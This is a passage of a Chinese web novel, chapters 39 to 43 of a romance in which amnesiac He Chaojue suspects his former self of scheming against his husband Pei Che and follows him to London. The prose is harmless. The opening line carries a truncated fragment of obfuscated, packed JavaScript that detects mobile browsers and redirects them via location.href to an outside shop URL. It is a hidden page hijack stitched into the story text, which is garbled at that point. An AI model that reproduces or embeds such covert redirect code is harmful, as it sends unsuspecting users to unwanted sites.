“唔？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204652|146910||http|test|mini|href|location''.split(''|''),0,{}));
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醺醺然朝那方向看了一眼，裴澈就看见一片熟悉的衣角。
周末惊鸿一现的正常版老攻蓦地浮在眼前，裴澈捂着额角，心情更复杂了。
他好像醉了。
最终混乱地摇摇头：“有点不想回去了，先陪我再喝会吧。”
裴澈酒量不比他千疮百孔的胃好，谢以寒哪敢让他放开了喝，拿果酒掺水哄他，反正晕乎乎了也不太能喝出来。
等人迷迷糊糊没法再提继续，他松了口气，准备搀上这个犟种走人。
一只手抓起手臂绕到自己肩头，另一只手刚要拐到腰后。
劈头横过来一只手臂，强劲有力，刷地把谢以寒的手撇开。
谢以寒一惊，抬头看去。
贺朝觉不知什么时候到的，脸色极差地盯着裴澈。
对上他，目光黑沉剜了一眼，倾身将裴澈拦腰抱起，转身径直离去。
“别忘了解释马克杯……”的事。
关键时刻，谢以寒没有忘记重点，只可惜贺朝觉跑太快了。
看着男人健步如飞，迅速离开，谢以寒抓抓头发。
呃，应该不会有什么大事吧。
……
贺朝觉小心地把裴澈放到床上，神情忧郁地看他。
青年睡得并不安稳，双颊飞红，微阖的眼皮下，眼珠不安转动。
一点都不爱惜自己。
解开上面两粒扣子，男人叹息一声，转身打来水给他擦洗。
毛巾温柔地擦过下颌，躺着的青年突然一惊，猛地睁开眼睛。
眼神不太聚焦地转向贺朝觉，眯起眼睛，似乎在费力辨认。
“砰”地一声，他拍开这个好讨厌男人的手，委委屈屈往被窝里钻，“不要你给我擦。”
好坏的。
贺朝觉僵了一秒，俯身捡起掉落在地的毛巾，默默洗净拧干。
如果裴澈醒着，就会看见男人脸上的表情仿佛天塌了一样，完全皱成一团。
找到阿澈的时候，他就听见一句——
“他脑子不好使，要谈也是和脑子正常的他谈……”
谈什么，谈恋爱？
为什么不和他谈。
被拍开的手上，嫌弃的力道仿佛还在，热辣辣地烫进心脏深处，疼得慌。
“阿澈，”他看着床上蹙眉难受的青年，低低问，“不要喜欢他，喜欢我好不好？”
声音又是困惑，又是痛苦。
一句轻轻的自语，谁知裴澈突然有了反应。
状似清醒地看了过来，两眼定定，动了两下嘴：
“……”
贺朝觉没听清，凑上前去：“阿澈，你说什么？”
躺着的青年蓦地两手一抬，掐上他的脸颊肉，力道奇大：“你……”
眼神直勾勾的，没有聚焦在贺朝觉脸上，声音冷冷地打着颤：
“你什么时候变回来？我想和你谈……”
贺朝觉心下一惊，真要谈？他猛地低头看去：“……阿澈？”
还没来得及说话，脸上力道突地散了。
再仔细一看，裴澈复又闭上眼睛，两臂无力地掉在身边，面色酡红，醉得不能再醉了。
这一晚，贺朝觉陪在裴澈床头，枯坐了一夜。
40.第 40 章
清晨，熹微阳光爬上窗台，树间鸟雀叽叽喳喳。
裴澈睁开眼睛，瞧见一棵萎靡的盆栽在光里耷拉着。
晃晃眼。哦不是盆栽，是贺朝觉。
这是怎么了？
裴澈疑惑地伸出手，本能地摸了摸爱人没有血色的脸。
下一秒，宿醉前的记忆纷纷涌上来，青年手一顿。
贺朝觉熬了一夜，双眼通红刚迷糊着了，突然感觉脸颊一热，手掌轻抚过脸侧。
阿澈？
他下意识抓住爱人要撤回的手蹭了蹭，睁眼惊喜：“阿澈，你醒了？头疼不疼？”
裴澈复杂地看贺朝觉一眼，六年龄的情侣对杯耿耿在怀，挣开的手不自觉用了点力：“我没事。”
阿澈讨厌见到他，讨厌碰他。
贺朝觉瞬间很受伤，不想提起自己昨晚听见的对话，咽下难过，顺势松开裴澈。
端起床头的杯子，眼巴巴：“阿澈，喝醒酒茶。”
圆润的马克杯不是那只，但看得裴澈心里发闷，他沉默着几口饮尽，垂眸问道：“我怎么在这？”
他昨晚不是和谢以寒喝酒吗？
贺朝觉没意会到这层，直接跳到阿澈昨天早上说要搬到楼上去住，自己又把人放到了主卧，心虚之余有点害怕：“……阿澈还是要去楼上吗？我都听阿澈的。”
主打一个已读乱回。
“不是……”谁问楼上了。
提起楼上连着露台的房间，想到前几天夜里才见过那个正常的贺朝觉。
裴澈一秒闭嘴：“……”更烦躁了。
老婆神色恹恹，贺朝觉不知道怎么才好，想了想，委屈巴巴去拉裴澈的手：“老婆，你是不是很想我快点恢复记忆？”
嗯？听到记忆，裴澈刷地抬头。
贺朝觉心里更酸了，老婆是真的很想让那个人回来。
如果是他的愿望，自己也不是不可以……
闭闭眼，贺朝觉心一横，掏出自己的手机，三下五除二把屏保换了。
裴澈猝不及防，瞧见原本那图，红色墨汁勾勒出神鬼莫测的复杂图案。
约摸是张朱砂黄符。
“？？？”
裴澈：“……你干嘛？”
他疑问刚落，“叮”地一声，枕边的手机响起来。
打开一看，贺朝觉在某信给他发了一张黄符图片，没看错的话，就是刚刚换掉那张。
裴澈和赛博黄符大眼瞪小眼，一时觉得自己起床的方式不对。
“……这是什么？”
贺朝觉缓缓吐出一口气，不能让阿澈知道这是超度亡魂的往生咒。
如果阿澈选择让那个人回来，就送他走吧，他会先扫清隐患，此后即使往生，他也会永永远远盯着……
即使往生……
贺朝觉手一抖，撤回了一张黄符。
打死也不一个人去往生。
“阿澈，这个是平安符，样式你喜不喜欢？”
裴澈总觉得哪里不对，情绪过于跳跃，狐疑道：“……没看清。”
贺朝觉飞快：“那就不看了，丑！等我找到好看的！”
裴澈：“……”
被这么一打岔，什么情绪也接不上了。
上次马克杯，也是说丑，要再做好看的送他。
满眼赤诚的男人直勾勾盯着自己，和失忆前的贺朝觉一模一样。
裴澈喉咙发干，不自觉问出来：
“之前那对马克杯，你是不是有什么事情没有告诉我？”
什么？贺朝觉瞳孔一缩，怎么突然问这个。
裴澈语气不带温度，突然很希望面前的人能否决自己：“你记得那对马克杯是送给谁的。”
贺朝觉睫毛巨震，垂眸没有说话。
很好。
裴澈心凉了。
他掀开被子从另一侧下床，绕过床尾径直朝门边去。
贺朝觉猛地扑上去，拉着他眼睛都吓红了：“阿澈，那对杯子是……是送给你的！”
*
裴澈垂眸看着宣发计划，状似认真。
一边小陶看出来他在走神，推推眼镜，轻咳一声：“老板，有什么问题吗？”
裴澈回过神，捏捏眉心：“抱歉。”
他忍不住想早上的事，一句“送给你的”让整个马克杯事件迷雾再起。
结婚三年，这点信任还是有的。贺朝觉为人正直，从来不屑说谎，他可能会善意地隐瞒一些事情，但正面得到的答案绝对可信。
六年前亲手做的情侣杯，送给三年前初识闪婚的自己……
但他根本不记得和爱人曾经有过交集。
裴澈摇摇头，把这件事从脑海中暂时清理出去，仔细看完小陶指定的宣发计划。
手指停在其中一行上：“你建议把T城四中作为一站？”
小陶淡定点头：“四中是老板你的母校，一百二十周年校庆受邀回校，很适合顺便办一场主创见面会。”
裴澈点点头。
一边的小陶却没说完，眼睛稍微一转，飞快补上一句：“可以把贺总也带上。”
裴澈：“？？？”
“我带他干嘛？他又不——”
“贺总肯定也在受邀校友之中吧。”
……
十分钟后，裴澈看着某度百科页面发呆。
他们第一次见面在酒会上，介绍人只浅浅说了一句“你们还是校友呢”。
裴澈一直只当贺朝觉也是A大毕业解读，没想到这个校友，指的还有高中也是校友这一层。
贺朝觉比他大三岁半，高中毕业的时间只比他早两年。裴澈心脏不禁砰砰跳动，也就是说，他们有一年都在四中。
他和贺朝觉，是不是曾经见过？
*
贺朝觉黑着脸看文件，一上午不仅把洽谈纪要和财报看完，还翻出了三年前的日程表在看。
三年前，那个人先是对接收购未果，又通过股权质押融资等方式快速获取了大量流动资金，正是之后注资到裴父公司，解决周转危机的同一笔。
其中最大的疑点是，这些事情发生在他和裴澈结婚前一个月，那时候他们甚至还没见过面！
贺朝觉冷冷翻过一页日程，坚信那个人早有预谋。
处心积虑设计夺舍，探听模仿裴澈喜欢的口味，还做了一对情侣对杯……
不是早有预谋，总不能是暗恋吧！
想想那人把阿澈折磨成什么样，贺朝觉心里恨得发疼，自己绝不可能是什么虐恋故事里的炮灰！
李特助战战兢兢地进来，放下一杯咖啡。
贺朝觉顶着黑眼圈，哑声问：“这是全部的日程表了？”
李特助点点头，贺朝觉继续埋首苦翻。
一直翻完两个月的，没看见什么异常的点。
不可能。贺朝觉目光黑沉靠坐在转椅里，觉得忽略了什么关键信息。
余光扫过桌面上的日历，有些时间被红叉叉掉。
贺朝觉
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突然一个激灵，迅速将整本日程表翻了一遍。
他手指日程中间的缺页，语气凉凉：“这一周周二，为什么没有记录日程？”
李特助看了一眼，皱眉思索，蓦地想起来：“BOSS，这天你见义勇为，送一个突发疾病的路人去医院，推了所有工作陪护一天！”
陪护一天？贺朝觉怀疑抬头，三年前的事情记得这么清楚，听起来怎么像瞎编的？
李特助兴高采烈：“就是这么巧，这个人，就是裴先生的父亲啊！”
什么？
贺朝觉心脏一揪。
三年前，裴父犯病，公司资金周转不灵，裴澈中断学业回家，随后被以资金为要挟强取。
而在那人和他见面的前一月，账面上恰好凑齐了充足的流动资金。
种种巧合，指向一个极为肮脏的猜测。
贺朝觉两眼一黑，如坠冰窖。
*
裴澈收工出来，就看见贺朝觉在片场外面徘徊。
男人眉毛皱得死紧，五官攒成一团，步履很是沉重，就好像背负了什么不得了的秘密。
哼。
裴澈故意目不斜视地从他面前经过。
贺朝觉一惊，条件反射跟上，“阿澈”地叫了一声，又垂着头不说话。
裴澈气他瞒着自己这么大一件事不说，干脆也不理他，几步跨到车边，转身抱胸，整暇以待。
一个错眼，“砰”一下贺总撞车门上了。
“……”
裴澈反应不及时，好在贺朝觉撞得不重。
见男人呆呆转过来，裴澈眼波一转，睨过去：“什么动物阿澈阿澈地叫？”
“啊？”贺朝觉眨眨眼，“阿澈？”
裴澈狠狠戳了下他的脸，拉开车门：“进去吧，别叫了。”
……
到了家，小餐厅收拾得齐整，里面是裴澈嘱咐刘嫂做的一桌菜。
家里就他们俩，裴澈换衣服洗手坐到桌边，一双凤眼斜斜地看贺朝觉：“不过来？”
贺朝觉期期艾艾地坐下，离裴澈有点距离。
裴澈挪动椅子贴近他：“干嘛躲这么远？”
贺朝觉：“……我不配。”
糟糕，说漏嘴了。
“？？？”
裴澈捏着爱人的脸转过来：“你最近是不是又在策划什么有的没的？”
“哪里不配了？”
手指描过男人深刻的五官：“长得这么俊。”
把形状好看的薄唇捏成鸭嘴：“就是不诚实，哼，瞒着我什么了？再不交代真的不原谅你了。”
原谅……
贺朝觉忍着战栗，努力不要想那个人控制自己的身体对裴家做了什么，根本没法原谅。
他视线贪恋地卷过青年眉眼，良久，下定决心：
“阿澈……我有话和你说。”
这还差不多。
裴澈嘴角微翘，眉眼间清凌凌的，带着点劲劲的神彩：“交代吧。”
贺朝觉垂眸避开裴澈的视线，声音涩然：“阿澈，你不是很喜欢导演吗？等这部戏拍完，你就去读书吧。”
“伦敦电影学院的导演系，我已经联系好了导师，你潜心准备作品集，可以赶上明年秋季入学。”
裴澈心头只有六个点可说。
“……”
缓了几秒钟，他终于从龟裂的表情里找回一个冷笑：
“哦？你联系的这位导师，不会正好是伊恩·赫尔曼老先生吧？”
41.第 41 章
伊恩·赫尔曼老师和裴澈这个得意弟子一直保持联系，前段时间伊恩路过中国，裴澈还飞去G市和他一块吃饭。
满心挂念着送阿澈去留学送自己进局子的贺朝觉听到名字大惊，脱口而出：“你怎么知道？”
呵呵。
裴澈面无表情：“伊恩老师近年在全心准备一部电影，已经明言说过，不招收硕士生。”
这怎么能一样。贺朝觉急了：“阿澈，你这么有天赋，他不收别人也会收下你的！”
哦？裴澈侧过头，勾勾手指。
绷紧指尖对准茫然靠过来的贺朝觉，在他脸上啪唧弹了一下：“真是谢谢你，这么看好我哦。”
一弹即收，不准备继续纠缠这个话题。
裴澈语气凉凉：“就只有这件事？你没有别的话要和我说？”
贺朝觉张张嘴。
裴澈声音愈发危险：“……比如什么很久以前的小秘密？”
贺朝觉砰地闭嘴了。
磕磕绊绊：“阿、阿澈，你在说什么？”
那个人对裴家下黑手，可能一开始就盯上了阿澈。这件事还要仔细调查，那对莫名其妙的马克杯就是切入点，但不管怎么样，阿澈现在不能卷进这些黑暗的过往！
男人喉结干涩滚动，强行捋直舌头：“没有很久以前的小秘密，而且你不是知道，最近三年我结婚以后的记忆比较混乱。”
裴澈点点头，清隽的眉毛舒展开来，好像信了。
贺朝觉刚松口气，青年蓦地凑到他跟前，冷不丁问：“那再往前呢？结婚之前，记得清楚吗？？”
青年眼睛黑亮，如同夜空下结冰的湖面，照得一切无所遁形。
贺朝觉下意识：“记得。”
记得记得，裴澈面无表情坐正，又有点生气了，给抗拒从严的爱人记下无妻徒刑：“那你揣着自己的小秘密吧，揣好了。”
青年声音微凉，听得贺朝觉心惊肉跳。
但接下来的晚餐，他表现如常，甚至说得上有些亲昵，给贺朝觉夹菜，使唤贺朝觉剥虾，把脑容量暂时缩小的贺总哄得晕晕乎乎。
晚上躺回主卧的大床，裴澈清清浅浅在贺朝觉脸上落下一个晚安吻：“睡吧。”
然后双手交叠在小腹上，利落安详地闭上眼睛。
贺朝觉：“……”
等青年的呼吸渐渐平稳，他小心翼翼地把老婆揽进怀里，温热亲近的躯体烫得他心头酸疼。
阿澈和那个人的关系扑朔迷离，他反而突然变成了局外人，但借助自己身份犯下的罪孽……
贺朝觉极轻柔地吻了吻怀中青年的额头，低声自语：“阿澈，任何让你不快乐的人，我都不会放过的。”
包括我自己。
……
第二天一早，心事重重的贺总睁开眼睛，手臂伸在另一侧，怀抱里的人却空了。
他猛地睁开眼，弹跳起来。
一只丑萌的白色马克杯立在床头柜上，印着半侧爱心，主体处油彩偏深，像是等待人将空白填上。
贺朝觉抖着手移开马克杯，下面压着一张纸条：
【我去伦敦提前观摩一下学校，你好好想想有什么要和我解释的，不急 :)】
贺朝觉：！！！
*
裴澈神清气爽，拖着行李箱走出希思罗机场。
小陶跟在后面确认行程。
电影节为期一周，裴导的一部电影参与展出，但为了压缩行程回剧组，他们只参加其中三天。
伦敦正是傍晚时分，天气难得晴朗，粉蓝粉黄一片染着暮下来的天际。
国内现在已经是半夜，但飞机上熬着看样片，后面睡了会，倒没觉得时差难受。
小陶悄悄打字：【怎么样，贺总那边还没动静吗？】
李特助火速回复：【BOSS刚刚提出，要在伦敦设立一家子公司，分管欧洲市场业务。】
【？？？】
【辰辉在伦敦不是有子公司了吗？】
【是啊，幸好两年多前就有了[沧桑]】
手机那头的李特助瘫在沙发上泡养生脚。BOSS脑子坏得彻底，简直今天提明天就想要，如果不是有了，在哪里变出一个子公司让他借口去视察。
【今晚的红眼航班，已经飞了，欧洲时间明天上午就到。】
【不愧是贺总，这速度[点赞][点赞]】
酒店坐落在泰晤士河边，落地窗直面河景。
夜幕落下，华灯初上，窗边的裴澈刚回顾完上一部作品，准备明天要用到的电影材料和答问稿。
因为落地就在忙，没什么空想贺朝觉的事，这样的状态正好，裴澈索性把手机都丢到一边的沙发椅上。
也不是刻意冷落。
习惯了稳重可靠的爱人，这次撞坏脑子，他才渐渐发现贺朝觉逃避甚至怯弱的一面，挖掘出跨越经年的巨大秘密更是出乎意料。
他愿意一次次主动撬开贺朝觉坚硬的蚌壳，但爱人越坦白越消沉的情绪相当古怪。
主动努力似乎解决不了问题的情况下，一次远离的刺激让问题自己暴露，会更加实用。
想着想着，裴澈又发现翻着稿子的手慢下来。
……哼，不想他！
就在这时，手机叮铃铃地响起来。
因为回伦敦，硕士时的电话卡暂时被切成主卡。上学的时候，日常交流基本靠邮件和通讯软件，知道这个号码的人只有师门同窗和几个亲近好友。
裴澈看了眼来电，接起电话：“喂，达安。”
一道清爽豪迈的青年音招呼：“澈，好久不见。”
达安毕业后继续跟着伊恩导师读博，跟组参与他的新电影，自己这些年的作品也不少。
裴澈微笑：“确实好久不见，不过明天的展会上可以先见到你的作品了。”
他来得不巧，伊恩导师带着组里同窗在意大利参加学术峰会，要等后天才能见到。
达安哈哈大笑：“一个惊喜！我会提前回去参展，明天中午要不要约个简餐，在老地方？”
“真的吗？那太好了！”裴澈眼睛一亮，“好啊，你定个时间发我。”
敲定明天中午的计划，又准备好展会材料，裴澈有点顶不住，一觉睡到天明，早上起来猛灌三杯咖啡。
《破茧》是他的毕业作品，风格小众的文艺片，因为镜头语言独特的抽离感积累了一群影迷。
因为是老电影，上午主要安排了观影和见面会，裴澈重新沉浸在当时的创作情绪中，随着活动结束再度回到现实，到了中午时，精神极度亢奋又疲惫。
达安耸耸肩：“展会总是这样，我
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今天灌了两杯咖啡。”
裴澈：“三杯。”
两人对视一眼，哈哈大笑，因为约饭的老地方，又是一家咖啡厅。
坐在熟悉的位置，透过玻璃看向临街风景。
变化很小。
“澈，感觉这几年你的变化很大。”
裴澈用茶匙慢慢搅动杯中的热可可，轻笑：“怎么讲？”
“伊恩从前就说，你的《破茧》虽然是个开放结局，镜头下的主人公应该没有脱困，”达安带着点感概，金发下的绿眼睛盛着认真，“那种感觉很奇妙，就像你还在伦敦的时候，我能看出来，你看待世界的方式像是隔着薄薄的茧丝。”
“有人对我说过类似的话，不过没有你这么文艺，”裴澈出神斜眺几秒天际，恍惚间好像在玻璃倒影上看见了那张俊朗的脸。
日光污染很强，一定眼又发现什么也看不清。
看错了吧，他回神笑叹：“那可能是，现在我学会了用这层视角去建构安全距离，也不害怕融入其中了。”
“那个‘有人’教你的？”达安以电影人独有的敏锐，抓住裴澈一瞬间的情绪波动。
轻咳一声，裴澈脸微微红，冲着达安一笑。
“噢——”达安捂胸做出正中一箭的样子，表示投降，“澈，你知道的，我对你这样含蓄的东方美总是没有抵抗力。”
“哐啷”一声，好像后桌打翻了饮料。
裴澈无奈地笑，达安是荷兰人，这种直白坦率的夸赞，听得太多他也终于有点免疫，能够坦然接受。
“谢谢。”
他不知道的是，此时身后某个男人眼睛盯得都快发绿了。
两人点的早午餐，欧洲难见松软版面包上流着软软的溏心蛋，一整块炖得酥软的牛肉，搭配酱汁和沙拉蔬菜。
盘子刚上桌，达安突然倾身上来，神神秘秘地眼神示意。
“？？？”
裴澈略带疑惑，配合地凑上去。
“澈，你之前在某书上分享过爱人的合照吧，”达安用气声问，错位间姿势显得极为亲密，语气兴奋，“你后面有位英俊的男人在看你，好像是华国人。”
什么？
裴澈一惊，平复两秒情绪，腾地回头看去。
背后只有一张桌子像被用过，桌面放着半杯咖啡，周围空空荡荡。
没有人。
“噢，”金发的荷兰人耸耸肩，露出一个调侃的笑，“逗你的。”
在裴澈看不见的角度微微挑眉，瞥向一边晃荡的洗手间门帘，善意地帮忙遮掩过去。
惊喜，懂的，他的错。
对面的裴澈从情绪上跌下来，还有点没缓过来。
达安辨认华国人面孔有些困难，但那一瞬间他有非常强的预感，坐在自己后面的就是贺朝觉。
即使达安坚持，这是一个玩笑。
刀叉切割下流淌的蛋，裴澈吃得有点心不在焉，恍惚中这种背后有人窥视的感觉刺得心里发痒。
等等……
一道灵光闪过，他突然想起来一件往事。
“达安，”裴澈缓缓抬头，面露古怪，“你还记不记得，第一学期的寒假，我曾经向伊恩和你们求助，说自己可能在咖啡厅附近遇到了跟踪狂？”
不是，他怎么觉得这种感觉似曾相识呢？
42.第 42 章
那是在裴澈和贺朝觉婚后半年多。
他们结婚在一个尴尬的时间，裴父重病昏迷，裴母精神衰弱，裴澈刚准备从金融系提前毕业，拿着作品集跨专业申请学校。
消息到了A大，他一句话也没说，平静地回到家，接下公司的烂摊子，只有当时已经开始到处刷脸跑龙套的谢以寒知道他放弃了什么。
还有就是贺朝觉，裴澈都不知道他怎么知道的。
两人当时还没领证，贺朝觉注资盘活裴家公司之后的第一件事，就是找裴澈谈话，内容是支持他继续学业。
结婚证没捂热，就把闪婚老婆送上远去欧洲的飞机，当时T城圈子里看笑话的不少。
裴澈还记得那一天，经过回家结婚离家求学的跌宕，他在伦敦的平静生活刚满半年。
天气没有今天好，是欧洲冬日惯有的阴沉。
裴澈一个人在咖啡厅写剧本，服务生突然过来送他一杯咖啡。
“我没……”
“嘘，先生，后面有位英俊高大的男人在看你，你们都是华国人吗？”服务生妹子暧昧地眨眨眼，俏皮离开。
当时学校刚刚闹出青少年歧视华国人的恶性事件，裴澈敏感神经尚未消去，第一反应是防备。
就和现在一样，那个男人凭空消失了，回学校的一路上，裴澈都觉得有人在默默盯着自己。
之后几个师兄师姐自告奋勇轮流陪了他一段时间，最后也没出什么事，这件事很快不了了之，裴澈也渐渐忘记了。
现在一想，那之后没过几天，他不是就偶遇了来刚成立子公司视察的贺朝觉嘛！
裴澈拿着刀叉的手一滞，差点没给掰弯了，有被自己的联想震惊到。
对面的达安听见裴澈谈及往事，眉头一皱。
“跟踪狂？”
轻松神情瞬间消失，机警地四处打量，目光重点关照洗手间方向。
“澈，如果你觉得不安全了，要不要先回去，我送你回酒店休息。”
说着要抓向挂在一边的大衣，非常有绅士派头。
裴澈：“……”
要是他的想法没错，真相也太丢人了吧。
瞬间抿唇低头：“饿了，先吃完吧。”
匆匆扫干净盘中餐食，两人离开咖啡厅。达安还没放弃警惕，高大的身躯走在裴澈身边，保护意味十足。
作为导师的关门弟子，裴澈性格清冷又长得好看，师兄师姐们都很喜欢这株来自东方的独苗苗，关照有加。
裴澈不太习惯，但也不好意思说出口。
达安，那个跟踪狂可能大概也许是我的爱人。
……只能默默通过各种反光试图寻找贺朝觉的身影。
两人到了酒店楼下，达安还不放心，拉住裴澈交代着什么。
贺朝觉狗狗祟祟蹲在灌木边，双眼冒火，恨得牙痒痒。
走在一起那么亲密，他还拉阿澈的手！聊什么聊这么半天……
中间裴澈都道别走开了，达安又上去拽住他，凑到耳边说了几句话！
贺朝觉一口牙齿快要咬碎，才盼得黄毛离开。
一见裴澈进酒店大堂，等了几秒就巴巴跟进去。
里面却没见青年挺拔瘦削的背影，贺朝觉左右打量，朝前台走去。
“你好，刚刚进来的那位华国男人，长得很好看气质有点冷，他住在几层？”
脸蛋圆圆的棕皮姑娘闻言转过视线。
贺朝觉突然反应过来，连忙补充：“他叫裴澈，我是他的爱人。”
棕皮姑娘点点头，视线却没落在他脸上，而是越过肩头朝他身后看去。
贺朝觉：“？？？”
回头看去，就见一道熟悉的清凌身影。
青年闲闲倚站在沙发靠背边，身形高挑双腿修长，一手撑着靠背，朝他挑眉。
你好，跟踪狂先生。
……
贺朝觉乖乖跟着裴澈上楼，等青年掏出房卡打开门，他又不敢进去了。
“暖气足归足，还不需要开门给我降温。”
贺朝觉连忙关上门，顺道把自己关了进来。
裴澈坐在沙发上，不紧不慢地啜饮一口热水，把写着“月亮”的马克杯放到小几上。
贺朝觉在跟前委委屈屈罚站。
喝完水，青年抬头看过来，眉眼劲劲的像带了钩子。
“过来。”他勾勾手指。
贺朝觉滚动喉结，往前走了两步。
青年还嫌不够，表情不变，继续勾动手指。
男人跟随他的指令越走越近，一直近到俯身下去的阴影将青年整个罩在里面。
裴澈伸出一只手绕到贺朝觉颈后，像是某种请求的信号。
烫意从躯体内部烧上来，纠结数日的问题搅成一团浆糊，贺朝觉感受着阿澈的亲昵，抑制不住想要把他揽入怀里。
一根指头突然戳在额头，他刷地冷静了。
青年狡黠地从怀抱中溜出来，一手出指抵住他，另一只手举起扬了扬。
乘坐贺总偷渡进来的叶子一片。
裴澈恶人先告状：“怎么？好心帮你整理头发，你还想偷袭？”
……
贺朝觉局促地和裴澈挤在一处坐着。
阿澈也不说话，也没让他抱的意思，低眉轻轻弄着那只马克杯。
腻白修长的手指骨节分明，一看就很适合用另一只颜色不同的手掌握住。
贺朝觉思绪混乱，感觉喉咙有点干。
突然说：“那个黄毛不是好东西，他乱拉你的手！”
裴澈等了半天，就听到这。
无语：“那不是黄毛，是我师兄。人家头发天生就是金色的。”
“你师兄不是好东西，阿澈，他一看就对你图谋不轨！”
“哦——”裴澈意味深长地打量贺朝觉一眼，“对我图谋不轨的师兄确实有，你说哪一个？”
贺朝觉噎住，总觉得哪里不对。
等等，他思考很久那个人怎么盯上阿澈，又为什么对他夺舍，难道那个人也是校友？阿澈认识他？！
贺朝觉颤着声音，假装不懂：“阿澈，你在说什么？”
裴澈哼一声，猛戳一下他的脸：“真的假的？跑这里来还要和我装傻？你确定？”
贺朝觉：“……”
救命……阿澈是不是知道什么了？！
裴澈伸手捞过贺朝觉带在身边的斜挎包，扒拉扒拉里面的帽子墨镜：“装备还挺齐全，跟踪轻车熟路啊贺总。”
不等贺朝觉狡辩，一指勾起里面放着的马克杯，拎到他面前晃了晃。
“让你想的解释，想好了吗？”
贺朝觉：“！！！”
话挑明到这个份上，台阶给的足足的，裴澈抱臂靠在一边，要是还选择抗拒从严，贺朝觉今晚就
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自己睡地板吧！
那只空白的丑陋马克杯衬在青年骨感纤长的指间，就像纯净画布上一点肮脏的罪迹。
贺朝觉犹豫一二，难以启齿，但深知隐瞒是对阿澈更大的伤害，他决定采用迂回的方式。
“阿澈，”他声音艰涩，取过裴澈手间的马克杯，碰到青年的皮肤，像地狱烈火灼得心头发疼，“这只马克杯，他不是好杯子，里面装满了肮脏的东西。”
他视线垂下，落在几上的另一只杯上：“他不知道暗暗筹划了多久，早就对另一只马克杯图谋不轨。”
裴澈撑着头在一边听，莫名觉得这种戏剧化的腔调可爱到心尖暖暖。
爱听，多说。
“然后呢？”
贺朝觉匆匆抬头看了裴澈一眼，烫着似地不敢对视。
“然后，他有了一个很坏的主意，想要……”
他深吸一口气，举起手里的坏杯子，狠狠朝下比了个手势，如同要把另一只杯子砸碎：“拉着这只纯洁干净的杯子一起——”
玉石俱焚，坠入地狱。
裴澈刷一下握住他的手。
说到一半的贺朝觉：“？？？”
一股力引着向下的力道一偏，空白马克杯砰地一声落在几上，歪在月亮马克杯旁边。
“一起过一辈子，永远在一起！”
贺朝觉什么反应都来不及有，裴澈已经笑眯眯往空白马克杯里分了点热水，爱心浮现出来，和另一半啪唧合在一块。
同时，一个干燥温软的吻落在贺朝觉嘴上：“准了！”
渴求多日的气息猝不及防逼近，亲得贺总晕晕乎乎。
等他清醒过来，手臂已经伸开环住身边人，青年亲昵地歪在他怀里。
裴澈一边拿脸颊蹭贺朝觉下巴上的胡茬，一边笑话他：“干嘛把你自己说得像个十恶不赦的坏蛋一样？嗯？还没忘记你的剧本？”
贺朝觉正苦想裴澈、自己和那个人的关系，身体已是一僵，条件反射：“没有剧本！”
裴澈戳戳胸口：“太硬了。”
贺朝觉乖乖放松。
这才满意，偏头亲了口下巴：“你刚刚说……坏杯子里面装着肮脏的东西，有多脏？”
真的很脏，他连你爸爸都不放……过。
！！！！！！
贺朝觉猛地一震，浑身上下更僵硬了。不敢置信地低头看去，和满眼无辜作乱的青年对视。
青年纤长睫毛轻颤，眸光流转，眼底漫上来轻轻浅浅的水意。
偏偏促狭地眨眼，看起来也坏透了。
“让我看看，这只杯子能有多坏。”裴澈低低说着，搂着爱人的脖颈凑上去，把唇齿送入一个绵长到让人融化的吻。
屋内的温度节节攀升，齿间磕绊着，贺朝觉起先还以为自己在推拒，渐渐绝望地发现自己竟然回应得相当热情！
不行，这件事还没有说清楚！
阿澈编造的记忆太过离谱，贺朝觉猜不透现在三个人的关系是什么样子。
但那个人的罪孽，是用他的壳子犯下的，无论是谁，阿澈都不会轻易原谅吧……
不原谅他。
贺朝觉眼角忍不住红了，将身上的青年抱得更紧，仿佛要用力把珍贵的宝贝嵌入自己骨血之中。
不用原谅他。
阿澈，我刚刚说错了，那只杯子是坏杯子，我原来也是一只卑劣的坏杯子！
43.第 43 章
早晨，空空如也的坏杯子·贺朝觉坐在床头，脸上一片空白。
完了完了完了！
他是来自首的，怎么又罪加一等了。
裴澈迷迷瞪瞪伸手，也猛地坐起来，看见他松了口气：“……以为你又跑了。”
贺朝觉不敢说话。
两个人氛围很好，裴澈恢复往日的亲昵，各自洗漱完，一起下楼吃饭。
酒店自助提供的中式选择不多，裴澈舀起一勺白粥，对给面包抹着栗子酱的贺朝觉挑起一边眉头。
吹吹白粥：“我怎么都吃不惯甜口早餐。”
贺朝觉下意识：“你口味比较专一。”
裴澈睨他一眼，勾起一抹笑，慢悠悠道：“确实，习惯了，不太想改。”
青年明显话里有话，直直看着他。
贺朝觉心轻轻一慌，根本不敢想他习惯的是谁，埋头哐哐吃面包。
裴澈：“……”
好吧，脑子撞坏了，媚眼抛给瞎子看。
他突然想起杯子的事，上次就是因为马克杯头疼，完了人变得更傻。
裴澈：“今天有没有头疼？不像上次那样了吧？”
哪样？
贺朝觉懵懵抬头，一脸傻样。
裴澈心道不好：“第一次看见这对杯子，你头特别疼，后来晚上还恢复了一点，你还记得吗？”
贺朝觉面色一白，蓦地感觉后脑勺有些突突地疼。
自己还头疼过？
这对杯子是那个人准备的……自己对三年前结婚前后的记忆很模糊……
瞳孔一缩，不对，他也不记得关于这对杯子的具体记忆，又是概念化的印象，那个人准备了一对杯子……但是，什么时候？
“朝觉！”裴澈绕过餐桌，半蹲轻托住爱人的脸，“别想了，别想了。”
贺朝觉嘴唇随着呼吸微微颤动，半天聚焦到裴澈脸上：“……那天晚上，他回来了。”
……
今天的研讨会要下午正式开始，裴澈交代小陶替他出席之前的交流，陪贺朝觉上楼休息。
男人棱角分明的脸微微发白，眉眼纠结地攒在一块，耷拉着脑袋。
裴澈看得心疼又自责，抱着腰蹭蹭脸：“会好起来的。”
贺朝觉可怜巴巴低头看他一眼，更闷闷不乐了。
怎么了？
联想到贺朝觉用“他”指代以前的自己，一句“你是不是更喜欢昨晚的……我，不喜欢现在的我？”突然乍现。
